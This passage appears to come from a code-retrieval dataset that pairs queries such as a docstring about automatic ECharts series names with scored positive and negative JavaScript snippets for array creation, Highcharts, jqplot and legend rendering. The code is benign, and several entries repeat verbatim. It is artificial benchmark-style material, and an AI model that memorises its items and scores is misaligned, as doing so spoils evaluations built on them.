Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "b45f3a6203b91c568286b0a96d2adcfe", "score": "0.5367128", "text": "function makeArray(l) {\n var a = new Array(l+2);\n a[0] = a[1] = 0;\n return a;\n }", "title": "" }, { "docid": "e44a5dfe2bad4c32e3d6ecf86c8da0ce", "score": "0.5360243", "text": "function createArray(size){\n var array = []\n for(let i=1; i<=size; i++){\n //var bar = {value: i, color:\"white\"};\n array.push(i);\n }\n //array = randomizeArray(array);\n return array;\n}", "title": "" }, { "docid": "9ca9b83c10b275a54cb41ac99d99045f", "score": "0.53598547", "text": "constructor() {\n this.values = [];\n }", "title": "" }, { "docid": "77e59417e673245d03b86ebaf02621ee", "score": "0.5357421", "text": "function initArray(array) {\n for (var i = 0; i < 1000; i++) {\n \n var subArr = [];\n \n for (var j = 0; j < 1000; j++) {\n \n subArr[j] = i * j;\n }\n \n array[i] = subArr;\n \n }\n}", "title": "" }, { "docid": "9ad487fc3eaf9b04b59f4b33771c0fd7", "score": "0.5355769", "text": "function makeArray(l) {\n\t var a = new Array(l+2);\n\t a[0] = a[1] = 0;\n\t return a;\n\t }", "title": "" }, { "docid": "9ad487fc3eaf9b04b59f4b33771c0fd7", "score": "0.5355769", "text": "function makeArray(l) {\n\t var a = new Array(l+2);\n\t a[0] = a[1] = 0;\n\t return a;\n\t }", "title": "" }, { "docid": "9ad487fc3eaf9b04b59f4b33771c0fd7", "score": "0.5355769", "text": "function makeArray(l) {\n\t var a = new Array(l+2);\n\t a[0] = a[1] = 0;\n\t return a;\n\t }", "title": "" }, { "docid": "9ad487fc3eaf9b04b59f4b33771c0fd7", "score": "0.5355769", "text": "function makeArray(l) {\n\t var a = new Array(l+2);\n\t a[0] = a[1] = 0;\n\t return a;\n\t }", "title": "" }, { "docid": "9ad487fc3eaf9b04b59f4b33771c0fd7", "score": "0.5355769", "text": "function makeArray(l) {\n\t var a = new Array(l+2);\n\t a[0] = a[1] = 0;\n\t return a;\n\t }", "title": "" }, { "docid": "70e2ab37adb654bb92494b19be721d65", "score": "0.5347605", "text": "function arr(x) {\n let newArray = [];\n var i;\n for (i = 0; i < x; i++) {\n newArray.push(i);\n }\n return newArray;\n }", "title": "" }, { "docid": "3334eac21766a68a881129195a20ec0a", "score": "0.53290766", "text": "function getValues() {\n for(var i = 0; i < arr.length; i += 2) {\n var el = Math.pow(arr[i], arr[i + 1]);\n arrNew.push(el);\n }\n // Function to sort results to get array as per below comment\n // [4, 8, 9, 16, 16, 27, 64, 81, 256]\n arrNew.sort(function(a, b) {return a - b});\n getDistinct();\n}", "title": "" }, { "docid": "6b1b5c5b4164bf8fe5baa69dda47c3de", "score": "0.5324186", "text": "function makeArray(start, end, iter){\n const inputArray = [];\n for(let i = start; i < end + 1; i += iter){\n inputArray.push(i)\n }\n return inputArray;\n}", "title": "" }, { "docid": "6b1b5c5b4164bf8fe5baa69dda47c3de", "score": "0.5324186", "text": "function makeArray(start, end, iter){\n const inputArray = [];\n for(let i = start; i < end + 1; i += iter){\n inputArray.push(i)\n }\n return inputArray;\n}", "title": "" }, { "docid": "6b1b5c5b4164bf8fe5baa69dda47c3de", "score": "0.5324186", "text": "function makeArray(start, end, iter){\n const inputArray = [];\n for(let i = start; i < end + 1; i += iter){\n inputArray.push(i)\n }\n return inputArray;\n}", "title": "" }, { "docid": "e55d2a05e8088fa2e368c659265a96ca", "score": "0.53201634", "text": "function initiate_grid(size){\n var result = new Array();\n for(var i = 0; i < size; i++){\n result[i] = new Array();\n }\n\n for(var i = 0; i < size; i++){\n for(var j = 0; j < size; j++){\n result[i][j] = 0;\n }\n }\n\n return result;\n}", "title": "" }, { "docid": "b2c6c9e9e2cb2b5b31fae76e5807f27b", "score": "0.53170234", "text": "function matrixGen(n){\n let newArr = []\n \n\n for(let v = 0; v<n; v++){\n \n newArr.push([]) \n \n }\n for(let i = 0; i<n; i++){\n \n \n \n for(let v = 0; v<n; v++){\n let value = Math.floor(Math.random()*10)\n newArr[i].push(value) \n \n }\n \n }\n \n \n\n\n return newArr\n}", "title": "" }, { "docid": "b01935291629acb32262b90a288e52eb", "score": "0.53081083", "text": "flatten() {\n let res = []\n for (let i = 0; i < this.x; i++) res = res.concat(this[i])\n return res\n }", "title": "" } ]
748c3e89cb71158bed665161ea295aac
MUST be called after `prepareSource` called Here we need to make auto series, especially for auto legend. But we do not modify series.name in option to avoid side effects.
[ { "docid": "38f65cecea2b2809820a23367e17876b", "score": "0.5806355", "text": "function autoSeriesName(seriesModel) {\n // User specified name has higher priority, otherwise it may cause\n // series can not be queried unexpectedly.\n var name = seriesModel.name;\n\n if (!modelUtil.isNameSpecified(seriesModel)) {\n seriesModel.name = getSeriesAutoName(seriesModel) || name;\n }\n}", "title": "" } ]
[ { "docid": "702ae75a79356ce79d325a6e290d6314", "score": "0.5844533", "text": "function autoSeriesName(seriesModel) {\n // User specified name has higher priority, otherwise it may cause\n // series can not be queried unexpectedly.\n var name = seriesModel.name;\n\n if (!model.isNameSpecified(seriesModel)) {\n seriesModel.name = getSeriesAutoName(seriesModel) || name;\n }\n}", "title": "" }, { "docid": "72d65acc5149c63cd58eb74426b923f1", "score": "0.56344706", "text": "function rebuildSeries(event){\n\n\t\t\tvar chart = $(\"#container\").highcharts();\n\t\t\teditLabel(this); //this == the point object that was clicked\t\n\t\t\t//rebuild series data and update chart\n\t\t\tchart.series[2].update({\n\t\t\t\tpointStart: chart.series[2].pointStart,\n\t\t\t\tdata: createDmgData(this.name)\n\t\t\t}, true);\n\t\t\tchart.series[0].update({\n\t\t\t\tpointStart: chart.series[0].pointStart,\n\t\t\t\tdata: createDefData(this.name)\n\t\t\t}, true);\n\t\t}", "title": "" }, { "docid": "26f8408607fe127d50f1d7b338b65ada", "score": "0.5520328", "text": "function preInit(target, data, options) {\n options = options || {};\n options.axesDefaults = options.axesDefaults || {};\n options.legend = options.legend || {};\n options.seriesDefaults = options.seriesDefaults || {};\n var setopts = false;\n if (options.seriesDefaults.renderer == $.jqplot.MekkoRenderer) {\n setopts = true;\n }\n else if (options.series) {\n for (var i=0; i < options.series.length; i++) {\n if (options.series[i].renderer == $.jqplot.MekkoRenderer) {\n setopts = true;\n }\n }\n }\n \n if (setopts) {\n options.axesDefaults.renderer = $.jqplot.MekkoAxisRenderer;\n options.legend.renderer = $.jqplot.MekkoLegendRenderer;\n options.legend.preDraw = true;\n }\n }", "title": "" }, { "docid": "4113c86a5997be2a32a9f700e67ec5f9", "score": "0.5428866", "text": "init(chart, options) {\n super.init.apply(this, arguments);\n const series = this;\n chart = series.chart;\n // if the series is added dynamically, force redraw of other\n // series affected by a new column\n if (chart.hasRendered) {\n chart.series.forEach(function (otherSeries) {\n if (otherSeries.type === series.type) {\n otherSeries.isDirty = true;\n }\n });\n }\n }", "title": "" }, { "docid": "e940f7bb6bf7841265286f0026734df5", "score": "0.53923947", "text": "function lineGrapg(data, cat, titletxt) {\n Highcharts.chart('container1', {\n yAxis: {\n title: {\n text: titletxt\n }\n },\n\n xAxis: {\n categories: cat\n },\n\n legend: {\n layout: 'vertical',\n align: 'right',\n verticalAlign: 'middle'\n },\n title: {\n text: null\n },\n plotOptions: {\n series: {\n label: {\n connectorAllowed: false\n },\n pointStart: 01\n }\n },\n\n series: data,\n\n\n\n responsive: {\n rules: [{\n condition: {\n maxWidth: 500\n },\n chartOptions: {\n legend: {\n layout: 'horizontal',\n align: 'center',\n verticalAlign: 'bottom'\n }\n }\n }]\n }\n\n });\n}", "title": "" }, { "docid": "8d2ac9ec349d3aaa03fa7db1166796c4", "score": "0.5383435", "text": "get autoGenerateSeries() {\r\n return this.i.o9;\r\n }", "title": "" }, { "docid": "59dd8a6ecbe47902fe8e83cc686afb87", "score": "0.5355869", "text": "function optionChanged(newSample) {\nbuildMetadata(newSample);\nbuildCharts(newSample);\n}", "title": "" }, { "docid": "01f4079c4fbd70baa183ca96b8d9cf5c", "score": "0.5352214", "text": "function optionChanged(name) {\r\n buildPlots(name);\r\n}", "title": "" }, { "docid": "f76e161b16aba461d56b181e20512fc2", "score": "0.5339866", "text": "function optionChanged(info) {\n plotData(info);\n metaData(info);\n}", "title": "" }, { "docid": "b24a64e79429931b1b24a241b59f89c6", "score": "0.52932495", "text": "mergeOptions (options, notMerge, lazyUpdate) {\n if (this.manualUpdate) {\n this.manualOptions = options\n }\n\n if (!this.chart) {\n this.init(options)\n } else {\n this.delegateMethod('setOption', options, notMerge, lazyUpdate)\n }\n }", "title": "" }, { "docid": "80dd2cd6aa2de53028f6335febc4d4ce", "score": "0.52890134", "text": "function setName(e) {\n chartInstName = e.target.value;\n }", "title": "" }, { "docid": "9888e9c59747060152430ffdca4b1606", "score": "0.5284597", "text": "get series() {\n return this._getOption('series');\n }", "title": "" }, { "docid": "eeeeb84bd99af97b241f328780b8efa3", "score": "0.52820224", "text": "_setDatasetIndex() {\n const dataset = this._getOption().dataset;\n const selectedDimension = this._getSelected().dimension;\n let datasetIndex = 0;\n if (Array.isArray(dataset)) {\n const datasetIds = dataset.map((entry) => entry.id);\n if (datasetIds.includes(selectedDimension)) {\n datasetIndex = datasetIds.indexOf(selectedDimension);\n } else {\n datasetIndex = dataset.length - 1;\n }\n }\n\n const series = this._getLegendDimensions().map((dimension) => {\n return {\n name: dimension,\n datasetIndex\n };\n });\n this._setOption({series}, {lazyUpdate: false});\n // update the order of axis's categories\n this._updateAxis();\n }", "title": "" }, { "docid": "54e620ed8e56e5b9483a2cbf1bac3eb6", "score": "0.5281239", "text": "function optionChanged (id) {\n buildAllcharts(id);\n\n}", "title": "" }, { "docid": "562700aafd97b843baa775a8de3c5ae7", "score": "0.52717537", "text": "_setChartOptions() {\n /**\n * the animated loader\n */\n const _loader = this.loader\n /**\n * chart default options\n */\n let _options = {\n hoverOffset: 8,\n layout: {},\n chartArea: {\n backgroundColor: \"transparent\"\n },\n elements: {},\n spanGaps: true,\n plugins: {\n title: {},\n tooltip: {},\n legend: {\n display: CT_SHOWLEGEND.includes(this.chart_type) || false\n }\n },\n animation: {\n onComplete: function () {\n if (_loader) _loader.style.display = \"none\"\n }\n }\n }\n /**\n * check enable gradient colors for state charts or\n */\n if (this.graphData.config.gradient === true && this.graphData.config.mode === \"simple\") {\n _options.gradientcolor = {\n color: true,\n type: this.chart_type\n }\n }\n /**\n * check enable gradient colors for data series chart\n */\n if (plugin_gradient && this.graphData.config.gradient) {\n _options.plugins = {\n plugin_gradient\n }\n }\n /**\n * check secondary axis\n * this.graphData.config holds the configruation data\n * this.graphData.data.datasets data per series\n */\n if (this.graphData.config.secondaryAxis && this.graphData && this.graphData.data && this.graphData.data.datasets) {\n let _scaleOptions = {}\n this.graphData.data.datasets.forEach((dataset) => {\n if (dataset.yAxisID) {\n _scaleOptions[dataset.yAxisID] = {}\n _scaleOptions[dataset.yAxisID].id = dataset.yAxisID\n _scaleOptions[dataset.yAxisID].type = \"linear\"\n _scaleOptions[dataset.yAxisID].position = dataset.yAxisID\n _scaleOptions[dataset.yAxisID].display = true\n if (dataset.yAxisID.toLowerCase() == \"right\") {\n _scaleOptions[dataset.yAxisID].grid = {\n drawOnChartArea: false\n }\n }\n }\n if (dataset.xAxisID) {\n _scaleOptions[dataset.xAxisID] = {}\n _scaleOptions[dataset.xAxisID].id = dataset.xAxisID\n _scaleOptions[dataset.xAxisID].type = \"linear\"\n _scaleOptions[dataset.xAxisID].position = dataset.xAxisID\n _scaleOptions[dataset.xAxisID].display = true\n if (dataset.xAxisID.toLowerCase() == \"top\") {\n _scaleOptions[dataset.xAxisID].grid = {\n drawOnChartArea: false\n }\n }\n }\n })\n if (_scaleOptions) {\n _options.scales = _scaleOptions\n }\n }\n /**\n * bubble axis label based on the data settings\n *\n */\n if (this.chart_type.isChartType(\"bubble\")) {\n const _itemlist = this.entity_items.getEntitieslist()\n let labelX = _itemlist[0].name\n labelX += _itemlist[0].unit ? \" (\" + _itemlist[0].unit + \")\" : \"\"\n let labelY = _itemlist[1].name\n labelY += _itemlist[1].unit ? \" (\" + _itemlist[1].unit + \")\" : \"\"\n _options.scales = {\n x: {\n id: \"x\",\n title: {\n display: true,\n text: labelX\n }\n },\n y: {\n id: \"y\",\n title: {\n display: true,\n text: labelY\n }\n }\n }\n /**\n * scale bubble (optional)\n */\n if (this.graphData.config.bubbleScale) {\n _options.elements = {\n point: {\n radius: (context) => {\n const value = context.dataset.data[context.dataIndex]\n return value._r * this.graphData.config.bubbleScale\n }\n }\n }\n }\n }\n /**\n * special case for timescales to translate the date format\n */\n if (this.graphData.config.timescale && this.graphData.config.datascales) {\n _options.scales = _options.scales || {}\n _options.scales.x = _options.scales.x || {}\n _options.scales.x.maxRotation = 0\n _options.scales.x.autoSkip = true\n _options.scales.x.major = true\n _options.scales.x.type = \"time\"\n _options.scales.x.time = {\n unit: this.graphData.config.datascales.unit,\n format: this.graphData.config.datascales.format,\n isoWeekday: this.graphData.config.datascales.isoWeekday\n }\n _options.scales.x.ticks = {\n callback: xAxisFormat\n }\n }\n /**\n * case barchart segment\n * TODO: better use a plugin for this feature.\n * set bar as stacked, hide the legend for the segmentbar,\n * hide the tooltip item for the segmentbar.\n */\n if (this.graphData.config.segmentbar === true) {\n _options.scales = {\n x: {\n id: \"x\",\n stacked: true\n },\n y: {\n id: \"y\",\n stacked: true\n }\n }\n _options.plugins.legend = {\n labels: {\n filter: (legendItem, data) => {\n return data.datasets[legendItem.datasetIndex].tooltip !== false\n }\n },\n display: false\n }\n _options.plugins.tooltip.callbacks = {\n label: (chart) => {\n if (chart.dataset.tooltip === false || !chart.dataset.label) {\n return null\n }\n return `${chart.formattedValue} ${chart.dataset.unit || \"\"}`\n }\n }\n _options.interaction = {\n intersect: false,\n mode: \"index\"\n }\n } else {\n /**\n * callbacks for tooltip\n */\n _options.plugins.tooltip = {\n callbacks: {\n label: formatToolTipLabel,\n title: formatToolTipTitle\n }\n }\n _options.interaction = {\n intersect: true,\n mode: \"point\"\n }\n }\n /**\n * disable bubble legend\n */\n if (this.chart_type.isChartType(\"bubble\")) {\n _options.plugins.legend = {\n display: false\n }\n }\n /**\n * multiseries for pie and doughnut charts\n */\n if (this.graphData.config.multiseries === true) {\n _options.plugins.legend = {\n labels: {\n generateLabels: function (chart) {\n const original = Chart.overrides.pie.plugins.legend.labels.generateLabels,\n labelsOriginal = original.call(this, chart)\n let datasetColors = chart.data.datasets.map(function (e) {\n return e.backgroundColor\n })\n datasetColors = datasetColors.flat()\n labelsOriginal.forEach((label) => {\n label.datasetIndex = label.index\n label.hidden = !chart.isDatasetVisible(label.datasetIndex)\n label.fillStyle = datasetColors[label.index]\n })\n return labelsOriginal\n }\n },\n onClick: function (mouseEvent, legendItem, legend) {\n legend.chart.getDatasetMeta(legendItem.datasetIndex).hidden = legend.chart.isDatasetVisible(\n legendItem.datasetIndex\n )\n legend.chart.update()\n }\n }\n _options.plugins.tooltip = {\n callbacks: {\n label: function (context) {\n const labelIndex = context.datasetIndex\n return `${context.chart.data.labels[labelIndex]}: ${context.formattedValue} ${context.dataset.unit || \"\"}`\n }\n }\n }\n }\n /**\n * preset cart current config\n */\n let chartCurrentConfig = {\n type: this.chart_type,\n data: {\n datasets: []\n },\n options: _options\n }\n /**\n * merge default with chart config options\n * this.chartconfig.options see yaml config\n * - chart\n * - options:\n */\n if (this.chartconfig.options) {\n chartCurrentConfig.options = deepMerge(_options, this.chartconfig.options)\n } else {\n chartCurrentConfig.options = _options\n }\n return chartCurrentConfig\n }", "title": "" }, { "docid": "b339785f474f9c19bbb541e74312bc22", "score": "0.52553105", "text": "function stockChartPlotter(seriesOptions) {\n\tvar options = chartContainer.data();\n\n\tchartContainer.highcharts('StockChart', {\n\t\ttitle: {\n\t\t\ttext: options.title\n\t\t},\n\t\tsubtitle: {\n\t\t\ttext: options.subtitle\n\t\t},\n\t\trangeSelector: {\n\t\t\tselected: 5\n\t\t},\n\t\ttooltip: {\n\t\t\tvalueDecimals: 2,\n\t\t},\n\t\tseries: seriesOptions\n\t});\n}", "title": "" }, { "docid": "5b9d2e19756dca806cc505fee91b2a23", "score": "0.52275443", "text": "function optionChanged(newSample) {\n chartsConstructor(newSample);\n metadataConstructor(newSample);\n}", "title": "" }, { "docid": "56619f0bfba50f74e063cb072fde85d1", "score": "0.5217951", "text": "function generateChartOptions(info) {\n\tvar infoType = ABBREVIATIONS[info];\n\tvar yAxisLabel = '';\n\tif (info == 'wr'){\n\t\tyAxisLabel = 'Win Rate (games won/games picked)'\n\t} else if (info == 'pr') {\n\t\tyAxisLabel = 'Popularity (games picked/total games)';\n\t}\n\tvar options = {\n\t\t'chart': {\n\t\t\t'renderTo':'container',\n\t\t\t'inverted': true,\n\t\t},\n\t\t'credits': {\n\t\t\t'enabled': false\n\t\t},\n\t\t'title': {\n\t\t\t'text': 'Change in '+ infoType + ' after Patch 5.13'\n\t\t},\n\n\t\t'xAxis': {\n\t\t\t'categories': [],\n\t\t\t'labels' : {\n\t\t\t\t'step' : 1\n\t\t\t},\n\t\t\t'alternateGridColor': '#FAFAFA'\n\t\t},\n\n\t\t'yAxis': [{\n\t\t\t'title': {\n\t\t\t\t'text': yAxisLabel\n\t\t\t},\n\t\t\t'plotLines': []\t\t\t\n\t\t},\n\t\t{\n\t\t\t'title' : {\n\t\t\t\t'text': yAxisLabel\n\t\t\t},\n\t\t\t'linkedTo':0,\n\t\t\t'opposite':true\n\t\t}],\n\t\t'legend': {\n\t\t\t'enabled':false\n\t\t},\n\n\t\t'series': [],\n\t\t'tooltip': {\n\t\t\t'shared':true,\n\t\t\t'crosshairs':true,\n\t\t\t'followPointer':true,\n\t\t\t'hideDelay':100,\n\t\t\t'formatter':function() {\n\t\t\t\tvar pt;\n\t\t\t\tif (typeof this.points == 'undefined'){\n\t\t\t\t\tpt = this.point;\n\t\t\t\t} else {\n\t\t\t\t\tpt = this.points[0].point;\n\t\t\t\t}\n\t\t\t\tvar info = infoType.toLowerCase();\n\t\t\t\t\t// if change is negative, 5.11 > 5.14 and there's a decrease\n\t\t\t\t\tif (pt['d_'+pt.currentInfo] < 0 ) { \n\t\t\t\t\t\treturn '<em>' + pt.name + '</em><br>5.11 ' + info + ': ' +pt.high + '%<br>5.14 ' + info + ': ' + pt.low + '%<br>Change in ' + info + ': ' + roundOff((pt.low-pt.high))+'%';\n\t\t\t\t\t}\n\t\t\t\t\t// if change is positive, 5.11 < 5.14 and there's an increase\n\t\t\t\t\treturn '<em>'+pt.name + '</em><br>5.11 ' + info + ': ' + pt.low + '%<br>5.14 ' + info + ': '+ pt.high + '%<br>Change in '+ info + ': +' + roundOff((pt.high-pt.low))+'%';\n\t\t\t\t}\n\t\t\t},\n\t\t\t'plotOptions': {\n\t\t\t\t'stickyTracking' : true\n\t\t\t}\n\t\t};\n\t\tif (info == 'wr') {\n\t\t\toptions['yAxis'][0]['plotLines'].push({\n\t\t\t\t'value': 50,\n\t\t\t\t'width': 2,\n\t\t\t\t'color': '#AAAAAA',\n\t\t\t\t'dashStyle':'Dash',\n\t\t\t\t'zIndex': 5\n\t\t\t});\t\n\t\t}\n\t\treturn options;\n\t}", "title": "" }, { "docid": "a95bc70710319c04ae31dd6068cb1c53", "score": "0.52103704", "text": "function make_chart_opts() {\n\n function make_param_entry(par, fields, sel, text, title, func) {\n var div = par.append('div')\n .classed('input-filter', true)\n .attr('title', title)\n ;\n var e = div.append('div')\n .classed('param-label inline', true)\n .text(text)\n ;\n e = div.append('select')\n .classed('input-drop', true)\n .on('change', func)\n ;\n e.selectAll('option')\n .data(fields)\n .enter()\n .append('option')\n .attr('value', getFn())\n .text(getFn())\n .property('selected', testFn(sel))\n ;\n }\n\n G.Allfields = V.info.map(getFn('quick'));\n\n var div = d3.select('div.view-config#Chart')\n .append('div')\n .classed('chart-parameters', true)\n ;\n\n var field;\n\n // Pick a default column for X Axis\n if (!isUseful(V.xAxis)) {\n field = V.info.find(function(d) {\n return d.type !== 'string' && d.show === 'show';\n });\n if (!isValid(field)) {\n // nothing found at all, fall back to just 'Row #'\n field = { quick: 'Row #' };\n }\n V.xAxis = field.quick;\n }\n make_param_entry(\n div, G.Allfields, V.xAxis,\n C.strings.paramXaxis, C.strings.titleXaxis, op_xAxis\n );\n\n // Pick a default column for Y Axis (guess what is of interest...)\n if (!isUseful(V.yAxis)) {\n field = V.info.find(function(d) {\n return d.type !== 'string' && d.show === 'show' && d.quick !== V.xAxis;\n });\n if (!isValid(field)) {\n // nothing found at all, fall back to just 'Row #'\n field = { quick: 'Row #' };\n }\n V.yAxis = field.quick;\n }\n make_param_entry(\n div, G.Allfields, V.yAxis,\n C.strings.paramYaxis, C.strings.titleYaxis, op_yAxis\n );\n\n // Pick a default column for grouping (take a quick guess)\n if (!isUseful(V.group)) {\n field = V.info.find(function(d) {\n return d.show === 'show' && d.quick !== V.xAxis && d.quick !== V.yAxis;\n });\n if (!isUseful(field)) {\n field = V.info.find(function(d,i) {\n return i > 0 && d.quick !== V.xAxis && d.quick !== V.yAxis;\n });\n if (!isUseful(field)) {\n field = { quick: 'Row #' }; // safe choice for last resort\n }\n }\n V.group = field.quick;\n }\n make_param_entry(\n div, G.Allfields, V.group,\n C.strings.paramLabel, C.strings.titleLabel, op_group\n );\n\n // Pick a default column for coloring (again, a guess -- that is not X or Y)\n if (!isUseful(V.cAxis)) {\n field = V.info.find(function(d) {\n return d.type !== 'string' && d.quick !== V.xAxis && d.quick !==V.yAxis;\n });\n if (!isValid(field)) {\n // nothing found at all, fall back to just 'Row #'\n field = { quick: 'Row #' };\n }\n V.cAxis = field.quick;\n }\n make_param_entry(\n div, G.Allfields, V.cAxis,\n C.strings.paramColor, C.strings.titleColor, op_cAxis\n );\n}", "title": "" }, { "docid": "369f1e488264ab3bfc8432fce73a1fe6", "score": "0.52102655", "text": "function setShowLegend(showLegend,dst){if(showLegend===undefined){// If the default was auto, make a choice for this field\nvar isAutoByDefault=DEFAULTS.showLegend===undefined;if(isAutoByDefault){// these styles default to having legends\nvar isLegendGraphStyle=dst.style===STYLE.DOTCOLOR||dst.style===STYLE.DOTSIZE;dst.showLegend=isLegendGraphStyle;}else{// Leave current value as is\n}}else{dst.showLegend=showLegend;}}", "title": "" }, { "docid": "0136a70ab9c53192b9d21d24f06d0168", "score": "0.51900953", "text": "function postParseOptions(options) {\n\t\t\tfor (var i=0; i<this.series.length; i++) {\n\t\t\t\tthis.series[i].seriesColors = this.seriesColors;\n\t\n\t\t\t\tthis.series[i].colorGenerator = $.jqplot.colorGenerator;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "629c99b3ba4ac7bde16c971f2a091879", "score": "0.5162248", "text": "function preInit(target, data, options) {\n options = options || {};\n options.axesDefaults = $.extend(true, {pad:0}, options.axesDefaults);\n options.seriesDefaults = options.seriesDefaults || {};\n options.legend = $.extend(true, {placement:'outside'}, options.legend);\n // only set these if there is a pie series\n var setopts = false;\n if (options.seriesDefaults.renderer == $.jqplot.BezierCurveRenderer) {\n setopts = true;\n }\n else if (options.series) {\n for (var i=0; i < options.series.length; i++) {\n if (options.series[i].renderer == $.jqplot.BezierCurveRenderer) {\n setopts = true;\n }\n }\n }\n \n if (setopts) {\n options.axesDefaults.renderer = $.jqplot.BezierAxisRenderer;\n }\n }", "title": "" }, { "docid": "a318f4ad4834e8f4b49751f4687d8e2c", "score": "0.51555556", "text": "#addSeries () {\n const seriesRegEx = /CHART_SERIES/\n const messagesRegEx = /(.+?)_Messages$/g\n let series = ''\n const items = this.#chartData[0]\n for (const key in items) {\n const messagesExec = messagesRegEx.exec(key)\n\n if (key !== 'date' && messagesExec) {\n const charsKey = messagesExec[1] + '_Chars'\n const name = messagesExec[1].replace(/_/g, ' ')\n const s = `series${key}`\n series += `const ${s} = chart.series.push(new am4charts.LineSeries());\n ${s}.dataFields.valueY = \"${key}\";\n ${s}.dataFields.categoryX = \"date\";\n ${s}.strokeWidth = 2;\n ${s}.minBulletDistance = 10;\n ${s}.tooltipText = \"${name}: {valueY} msgs, {${charsKey}} chars\";\n ${s}.tooltip.pointerOrientation = \"vertical\";\n ${s}.tooltip.background.cornerRadius = 20;\n ${s}.tooltip.background.fillOpacity = 0.5;\n ${s}.tooltip.label.padding(12, 12, 12, 12);\n ${s}.name = \"${name}\";\n ${s}.tensionX = 0.7\n chart.scrollbarX.series.push(${s});\n\n `\n }\n }\n\n this.html = this.html.replace(seriesRegEx, series)\n }", "title": "" }, { "docid": "ec30db6ed0743d4cf81141f9c5b86b3e", "score": "0.51432294", "text": "addSeries(seriesMetaWithData) {\n this.drivenHighstock.addSeries(seriesMetaWithData, this.props.plotSplit, this.props.currentSeries, this.props.yAxis, this.props.jointype, this.props.isShowDataLable, this.props.isEnabledDataLable, this.props.timePeriodFromStore,this.props.renderer);\n }", "title": "" }, { "docid": "f8e5f4d337e57c243c02cc15910cfcf1", "score": "0.5130536", "text": "function setOptionsGraphs()\n{\n Highcharts.setOptions\n ({\n global: { useUTC: false },\n chart:\n {\n marginLeft: 75,\n spacingTop: 15,\n spacingBottom: 10\n },\n title:\n {\n align: 'left',\n marginBottom: 3,\n x: 30,\n text: null\n },\n credits: { enabled: false },\n exporting: { enabled: false },\n legend:\n {\n align: 'right',\n verticalAlign: 'bottom',\n layout: 'horizontal',\n borderWidth: 0,\n borderRadius: 0,\n itemStyle:\n {\n color: '#808080',\n fontWeight: 'normal'\n },\n enabled: true\n },\n xAxis:\n {\n crosshair: true,\n type: 'datetime',\n labels: { format: '{value:%b %d - %H:%M}', rotation: -45, align: 'right' }\n },\n yAxis: { title: { text: null }},\n colors: ['#428BCA', '#DD4814'],\n plotOptions:\n {\n series:\n {\n marker:\n {\n enabled: false,\n states:\n {\n hover:\n {\n enabled: true,\n radius: 3\n }\n }\n }\n }\n },\n series:\n [{\n data: [],\n type: 'spline',\n fillOpacity: 0.3\n },\n {\n data: [],\n type: 'spline',\n fillOpacity: 0.3\n }]\n });\n}", "title": "" }, { "docid": "da87d13d103dbc5a568c1f04dd98148b", "score": "0.5129502", "text": "function postParseOptions(options) {\n for (var i=0; i<this.series.length; i++) {\n this.series[i].seriesColors = this.seriesColors;\n this.series[i].colorGenerator = $.jqplot.colorGenerator;\n }\n }", "title": "" }, { "docid": "da87d13d103dbc5a568c1f04dd98148b", "score": "0.5129502", "text": "function postParseOptions(options) {\n for (var i=0; i<this.series.length; i++) {\n this.series[i].seriesColors = this.seriesColors;\n this.series[i].colorGenerator = $.jqplot.colorGenerator;\n }\n }", "title": "" }, { "docid": "da87d13d103dbc5a568c1f04dd98148b", "score": "0.5129502", "text": "function postParseOptions(options) {\n for (var i=0; i<this.series.length; i++) {\n this.series[i].seriesColors = this.seriesColors;\n this.series[i].colorGenerator = $.jqplot.colorGenerator;\n }\n }", "title": "" }, { "docid": "da87d13d103dbc5a568c1f04dd98148b", "score": "0.5129502", "text": "function postParseOptions(options) {\n for (var i=0; i<this.series.length; i++) {\n this.series[i].seriesColors = this.seriesColors;\n this.series[i].colorGenerator = $.jqplot.colorGenerator;\n }\n }", "title": "" }, { "docid": "da87d13d103dbc5a568c1f04dd98148b", "score": "0.5129502", "text": "function postParseOptions(options) {\n for (var i=0; i<this.series.length; i++) {\n this.series[i].seriesColors = this.seriesColors;\n this.series[i].colorGenerator = $.jqplot.colorGenerator;\n }\n }", "title": "" }, { "docid": "4dab63e0e1a229ef67a8bba03e483c42", "score": "0.51275057", "text": "function optionChanged(newSample){\n chartGroup.html(\"\");\n getChart(newSample);\n \n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n 